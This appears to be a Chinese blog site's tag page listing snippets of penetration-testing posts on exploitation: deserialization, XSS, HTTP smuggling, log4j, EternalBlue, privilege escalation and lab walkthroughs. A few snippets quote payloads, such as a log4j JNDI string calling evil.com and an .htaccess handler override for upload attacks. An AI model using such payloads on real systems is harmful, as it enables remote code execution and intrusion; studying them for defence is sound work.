LFI漏洞利用第23页

Springboot之Actuator信息泄露漏洞利用

0x01什么是ActuatorSpringBootActuator模块提供了健康检查，审计，指标收集，HTTP跟踪等，是帮助我们监控和管理SpringBoot应用的模块。这个模块采集应用的内部信息，展现给外部模块，可以查看应用配置的详细信息，例如自动化配置信息、创建的Springbeans信息、系统环境变量的配置信息以及Web请求的详细信息等。如果没有正确使用Actuator，可能造成信息泄露等严

Java海·2023-03-29 01:02

Weblogic XMLDecoder 反序列化漏洞（CVE-2017-10271）检测及漏洞复现

，12.2.1.1.0，12.2.1.2.0漏洞检测：检测存在漏洞检测工具下载地址：链接：https://pan.baidu.com/s/16d8aiHJs5wzlkz8pKq1m3g提取码：vnao漏洞利用

低调求发展·2023-03-28 12:47

2020年黑客常用的漏洞扫描工具元宇宙

“漏洞利用扫描软件”可以提高渗透测试人员的工作效率。然而，一个好的渗透测试员（“道德黑客”）永远不会完全依赖他们的工具。

异次元_宏睿时空·2023-03-27 14:13

2021-10-09-文件上传小问题与XSS(pikachu)

2021-10-09文件上传小问题与XSS(pikachu).htaccess漏洞利用构造.htaccess文件并上传，文件内容可以是：//方法一SetHandlerapplication/x-httpd-php

L1E6N0A2·2023-03-26 06:49

http走私漏洞学习（3）--http走私漏洞利用

http走私漏洞学习（1）--http走私简介http走私漏洞学习（2）--http走私常见方法http走私漏洞学习（3）--http走私漏洞利用靶场地址：https://portswigger.net

nohands_noob·2023-03-26 03:53

1111

利用phar拓展php反序列化漏洞攻击面概要来自Secarma的安全研究员SamThomas发现了一种新的漏洞利用方式，可以在不使用php函数unserialize()的前提下，引起严重的php对象注入漏洞

笑花大王·2023-03-25 12:53

第二十三天 phar反序列化漏洞

概要来自Secarma的安全研究员SamThomas发现了一种新的漏洞利用方式，可以在不使用php函数unserialize()的前提下，引起严重的php对象注入漏洞。

嗯光·2023-03-25 12:47

2021-06-12web渗透学习之phar反序列化

概要来自Secarma的安全研究员SamThomas发现了一种新的漏洞利用方式，可以在不使用php函数unserialize()的前提下，引起严重的php对象注入漏洞。

热热的雨夜·2023-03-25 12:47

小米路由器4a开发版固件_发现篇免拆刷小米路由器4a千兆版刷第三方固件的贴子！...

路由器小米4A千兆全球版的根外壳漏洞利用，固件版本2.28.13225次提交1个分支0包3发行2位贡献者最新提交@aceciliaacecilia更新README.md最新提交7bacb763天前档案类型名称最新提交消息提交时间临时演员添加了脚本功能以能够备份

weixin_39564036·2023-03-24 18:19

支付风控系统设计：支付风控场景分析(一)

黑产圈中账户攻击的主要流程:第一步:拖库利用操作系统和系统组件漏洞利用网站所使用的第三方组件漏洞SQL注入攻击第二步:洗库在攻入服务器，获取到资料，特别

十一吖_cb39·2023-03-22 18:58

网络安全工具大合集

本文章集成了全网优秀的开源攻防武器项目，包含：信息收集工具（自动化利用工具、资产发现工具、目录扫描工具、子域名收集工具、指纹识别工具、端口扫描工具、各种插件....etc...）漏洞利用工具（各大CMS

网络安全-生·2023-03-22 18:10

渗透测试及一些网络安全类的讨论社区类的整理

渗透测试比较知名的渗透测试的民间讨论社区及其网址网络安全有哪些民间交流组织及网址（待更新）渗透测试通常包括以下步骤漏洞扫描自动化工具有哪些渗透测试为什么要进行漏洞利用渗透测试为什么要权限维持渗透测试)比较知名的渗透测试的民间讨论社区及其网址

宝藏女孩的成长日记·2023-03-22 17:23

安装下载kali系统_配置kali系统ip和ssh打开端口并设置开机默认启动_安装vmitools，FileZilla，xshell完成远程连接文件上传下载_2020.6.17_day3

kali系统很多实用工具都是安装好的直接可以用.另外它具有强大的msfconsole(漏洞利用工具),kali中重点就是这个工具,其他在WIN就可实现.注意事项:1、kail系统无法安装，出现安装或更新失败

帅气的活驴·2023-03-21 12:14

Fastjson反序列化漏洞利用

项目链接https://github.com/alibaba/fastjson/本次对互联网上公开的大部分Fastjson反序列化漏洞利用进行总结，有些exp需要特殊环境的配合。

Tide_诺言·2023-03-20 17:05

螣龙安科：迷宫勒索病毒——勒索受害者一年并且人数仍在增加

迷宫的最初样本被绑定到装有漏洞利用工具包的假网站上。从那时起，通过多种方式提供了Maze：漏洞利用工具包，垃圾邮件，以及（随着该组织的操作变得更具针对性）远程桌面协议攻击和其他网络利用。

螣龙安科·2023-03-19 19:15

这居然是一个RCE漏洞

0x02漏洞分享0x01吐槽严格来说，这个并不是一个RCE漏洞，它就是一个正常的文件上传，没有对文件做任何的过滤而造成的，但它最后的描述是这样的file然后获得的奖励是这样的file一个靠语言描述而成的漏洞利用

无心_44d4·2023-03-19 05:55

【WeblogicScan V1.5】20200730更新

RabbitMask·2023-03-17 18:08

【千峰网安学习】利用PE破解系统密码

很多知识欠缺，一边学习一边用博客记录，希望自己能够坚持，可能有的内容掌握不太准确，如果有什么错误的地方还请大家多多指正，虚心接受大家的建议，大家一起加油~利用PE破解系统密码前言一、漏洞二、破解过程相关知识三、漏洞利用过程

初露微微·2023-03-17 11:56

kali学习笔记：信息收集工具

主要可利用的信息：IP地址段：进一步收集数据域名信息：进一步收集数据邮件地址：社工与邮件服务器人员姓名和职务：用户名与密码字典网站模板：已知漏洞利用其他信息：文档图片数据、公司地址、组织架构、联系电话等

雪球的七诫·2023-03-17 03:33

【XSS漏洞07】基于神器beEF的XSS漏洞利用实验（浏览器劫持、会话劫持、GetShell）

目录1实验简介1.1实验目的1.2实验环境2实验一：浏览器劫持2.1概述2.2实验步骤3实验二：会话劫持3.1概述3.2实验步骤4实验三：GetShell4.1概述4.2实验步骤5总结1实验简介1.1实验目的加深对XSS漏洞的理解；了解beEF的使用。1.2实验环境服务器：win2008，IP地址为192.168.1.5。部署WAMP环境并之前写过一个的简陋论坛网站，启动phpstudy，确保论坛

Fighting_hawk·2023-03-16 04:40

SSRF漏洞

漏洞利用：SSRF攻击的目标一般是外网无法访问的内部系统。

爪爪00·2023-03-14 08:12

log4j2漏洞原理详解、漏洞复现及漏洞利用

一、ApacheLog4j2介绍ApacheLog4j2是Java语言的日志处理套件，使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞，攻击者在可以控制日志内容的情况下，通过传入类似于`${jndi:ldap://evil.com/example}`的参数进行JNDI注入，执行任意代码。什么是JNDI？Java命名和目录接口（JavaNamingandDirectoryInte

Cwillchris·2023-03-13 16:04

PWN to MIPS by the ROP

一个MIPS架构大端小程序，先checksec，没发现有金丝雀保护机制，可以用来栈溢出，用IDA分析一下，首先需要猜解一些字符串，限时三秒全部猜对后才会来到漏洞利用点：sub_401070函数就是用来计算猜解时间差的

vul404·2023-03-13 01:58

phpMyAdmin v4.8.1 文件包含漏洞

本地文件包含（LocalFileInclude），简称LFI。文件包含在php中，涉及到的危险函数有四个，分别是include()、include_once()、require()

Drunken罂粟·2023-03-12 13:39

驱动漏洞利用的另一种思路

驱动漏洞利用的另一种思路前言KernelCallbackRoutines项目参考前言之前在前面中说了可以利用驱动漏洞绕过杀毒软件OBOperationRegistration保护获取进程的最高权限，下面这种又是一种新思路来绕过杀毒软件的保护

QQQqQqqqqrrrr·2023-03-12 12:57

【kernel exploit】CVE-2021-3490 eBPF 32位边界计算错误漏洞

文章首发于安全客：CVE-2021-3490eBPF32位边界计算错误漏洞利用分析影响版本：Linux5.7-rc1以后，Linux5.13-rc4以前；v5.13-rc4已修补，v5.13-rc3未修补

bsauce·2023-03-12 04:28

系统重装漏洞

zzcms系统重装漏洞一、配置zzcms环境1.使用小皮搭建zzcms框架2.安装zzcms按照下面的操作进行,傻瓜式操作即可3.打开网站二、漏洞利用在访问install目录的默认文件后,会出现zzcms

Beilay()·2023-03-10 15:46

DVWA文件包含漏洞学习

文件包含分为LFI本地文件包含和RFI远程文件包含，本次主要以本地文件包含为主进行测试。

get0shell·2023-03-09 17:40

http走私漏洞学习（2）--http走私常见方法

http走私漏洞学习（1）--http走私简介http走私漏洞学习（2）--http走私常见方法http走私漏洞学习（3）--http走私漏洞利用0x00CL-TECL-TE，是指前端遵循Content-Length

nohands_noob·2023-03-09 14:22

web漏洞利用---XSS注入攻击

XSS漏洞简介XSS注入漏洞又称为"跨站脚本攻击(CrossSiteScripting)"，为了不和层叠样式表(CascadingStyleSheets,CSS)混淆，所以将跨站脚本攻击缩写为XSS。XSS注入攻击的原理其实和SQL注入攻击的原理很相似，攻击者将恶意的Script代码插入到网页中，当正常用户浏览该页面时，被嵌入的恶意Script代码就会被执行，从而达到恶意攻击正常用户的目的。XSS

球球121·2023-03-09 00:45

熊海CMS代码审计漏洞分析

作为一个早期的系统，里面代码存在许多漏洞利用点，且代码量低适合作为代码审计的入门挑战，本文就带领大家对该系统存在的漏洞进行分析。基本结构这里我选择使用小皮面板搭建在了本地，以便于调试错误，首先我们看

·2023-02-27 19:33

Vulnhub靶场渗透-DC-4

前言靶机IP（192.168.110.134）攻击机IP（192.168.110.127）网络NAT模式信息收集访问80端口，提示以admin的用户名登录直接爆破了，爆破结果是admin：happy漏洞利用登录进去发现是个可以

paidx0·2023-02-22 12:44

Vulnhub DC-8靶场

目录搭建靶场发现目标信息收集漏洞利用内网提权Flag1搭建靶场靶场下载地址DC:8~VulnHub下载解压文件，并使用虚拟机软件创建目标发现目标发现目标地址为192.168.152.134netdiscover-r192.168.152.0

RLXn0cC·2023-02-22 12:43

备忘录7.文件上传

但是想真正把这个漏洞利用好却不那么容易，其中有很多技巧，也有很多需要掌握的知识。俗话说，知己知彼方能百战不殆，因此想要研究怎么防护漏洞，就要了解怎么去利用。

浩歌已行·2023-02-17 21:17

浅谈文件上传漏洞利用

总而言之，一入安全深似海~文件上传漏洞利用条件：1、上传的文件能被Web服务器当做脚本来执行2、我们能够访问到上传文件的路径代码审计基础：关于PHP中$_FILES数组的使用方法：$_FILES['file

book4yi·2023-02-17 16:37

PWN栈溢出基础——ROP1.0

PWN栈溢出基础——ROP1.0这篇文章介绍ret2text,ret2shellcode,ret2syscall（基础篇）在中间会尽量准确地阐述漏洞利用和exp的原理，并且尽量细致地将每一步操作写出来。

杰森任·2023-02-17 04:47

Struts2漏洞利用检测框架

1、整体代码结构参照Empire框架，对于每个漏洞利用都有相对应的模块，方便修改扩展2、主要集成了struts2漏洞中的s2-013、s2-016、s2-019、s2-032、s2-037、s2-045

vul404·2023-02-04 00:58

Nexus Repository Manager漏洞利用总结

环境搭建0.建议JDK——8U201.下载安装包https://help.sonatype.com/repomanager3/download/download-archives---repository-manager-3安装包直链:https://sonatype-download.global.ssl.fastly.net/nexus/3/nexus-3.13.0-01-unix.tar.g

清水川崎·2023-02-03 03:55

msf利用ms17_010经典漏洞攻击--使用msfvonom生成后门msf进行监听

学习目标：例如：1.使用msf进行ms17_010漏洞利用（成功拿到shell截图取证）2.使用msfvonom进行权限维持（后门木马生成，利用第一步shell进行上传）3.利用msf监听模块进行监听第一步

添衣&吹風·2023-02-03 00:54

DVWA系列之Command Injection(命令注入)源码分析及漏洞利用

CommandInjectionCommandInjection，即命令注入，是指通过提交恶意构造的参数破坏命令语句结构，从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一，国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。命令执行产生原因命令执行漏洞是指应用有时需要调用一些执行系统命令的函数如:system()、exec()、sh

7Riven·2023-01-30 19:55

应用软件漏洞利用分布

在HackingTeam泄露CVE-2015-5122和CVE-2015-5199这两个0day漏洞之后，更是给漏洞利用带来了通用的模板1，但之后随着Adobe引入了隔离堆、Vector长度检测、CFG

securitypaper·2023-01-29 14:59

钟馗之眼搜索加监视器漏洞查看监视器

漏洞详情AndrewTierney在其Blog上公布了一片有关摄像头漏洞利用的文章（https://www.pentestpartners.com/blog/pwning-cctv-cameras/）。

啾哥·2023-01-29 01:41

Citrix路径遍历（CVE-2019-19781）

该漏洞利用复杂性低，且无权限要求，攻击者只能遍历vpns文件夹，但攻击者

ADLAB·2023-01-27 12:01

Windows系统服务权限配置错误漏洞提权

目录漏洞介绍AccessChk工具介绍AccessChk常用参数漏洞检查AccessChk工具检查Powerup脚本检查Empirepowerup模块检查MSF上传脚本扫描漏洞利用漏洞防范如何创建服务删除服务参考文献漏洞介绍系统服务权限配置错误

bye_X·2023-01-27 09:35

windows权限提升

信息收集1、ipconfig查看系统网络配置2、systeminfo查看系统信息，包括打补丁情况，系统版本等等3、tasklist/v查看系统进程4、netstat–ano查看端口列表......01漏洞利用

B1u_·2023-01-27 09:33

永恒之蓝ms17-010漏洞利用复现

一、永恒之蓝简述：永恒之蓝是指2017年4月14日晚，黑客团体ShadowBrokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日，不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招，被勒索支付高额赎金才能解密

脑袋困掉了、·2023-01-25 08:51

MS17_010(永恒之蓝)漏洞复现

MS17_010永恒之蓝漏洞复现目录前言1.准备工作2.漏洞利用步骤前言永恒之蓝是指2017年4月14日晚，黑客团体ShadowBrokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具

ilNehScMing1107·2023-01-25 08:15

MSF复现 ms17_010（永恒之蓝）

Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程，被安全社区冠以“可以黑掉整个宇宙”之名。

beichenyyds·2023-01-25 08:39

ms17-010永恒之蓝复现

永恒之蓝ms17-0101.简介永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞，该漏洞导致攻击者在目标系统上可以执行任意代码。

匿名靓仔·2023-01-25 08:08

永恒之蓝(MS17-010)漏洞复现及msf常用渗透命令

172.168.100.158）工具机：kali,nessus攻击步骤1、nessus扫描靶机2、根据扫描结果查看靶机漏洞3、发现靶机存在永恒之蓝（MS17-010）漏洞4、打开工具机kali,打开MSF漏洞利用框架

Fengsheng96·2023-01-25 08:06

推荐频道

LFI漏洞利用